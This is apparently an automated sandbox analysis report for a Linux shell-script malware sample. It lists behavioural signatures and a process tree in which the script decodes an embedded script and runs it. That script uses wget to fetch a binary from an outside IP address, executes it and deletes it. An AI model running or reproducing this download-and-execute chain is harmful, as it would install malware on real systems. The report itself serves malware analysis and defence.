Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/09/2026, 17:19

General

  • Target
    a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh
  • Size 832KB
  • Sample260913-vvy5csszf1
  • SHA256 5b716c269c91722f9fc2b6c9d7b810b399f25e57130fee21688c001931978772
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh
    /tmp/a40ad0e99455b45c535e5e0b12c76bf417a198591dd83b3403ccc02362be11e2_offset-manipulation.sh
    1⤵
    • System Network Configuration Discovery
    • Writes file to tmp directory
    PID:651
    • /bin/mktemp
      mktemp -d
      2⤵
        PID:671
      • /usr/bin/base64
        base64 -d
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:675
      • /usr/bin/python3
        python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
        2⤵
          PID:676
        • /bin/chmod
          chmod +x /tmp/tmp.uV4XncPXbs/embedded.sh
          2⤵
          • File and Directory Permissions Modification
          PID:680
      • /bin/bash
        bash /tmp/tmp.uV4XncPXbs/embedded.sh
        1⤵
          PID:651
          • /usr/bin/wget
            wget http://192.227.183.143/m-i.p-s.ISIS
            2⤵
              PID:682
            • /bin/chmod
              chmod +x m-i.p-s.ISIS
              2⤵
              • File and Directory Permissions Modification
              PID:789
            • /run/m-i.p-s.ISIS
              ./m-i.p-s.ISIS
              2⤵
                PID:790
              • /bin/rm
                rm -rf m-i.p-s.ISIS
                2⤵
                  PID:791

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    sh-thd.VWBQLg

                    • Path /tmp/sh-thd.VWBQLg
                    • Size 827KB
                    • SHA256 2d9d9609b98fe1ea8fd588a7b264fa84bf4160c35d192a6571591e69c6e4a60c
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    embedded.sh

                    • Path /tmp/tmp.uV4XncPXbs/embedded.sh
                    • Size 1KB
                    • SHA256 2aa0cda5261f118aa7ca23823a71a5aed22653f3bf77e5ee7b7dd0296740237f
                    • MD5 SHA1 SHA512 TLSH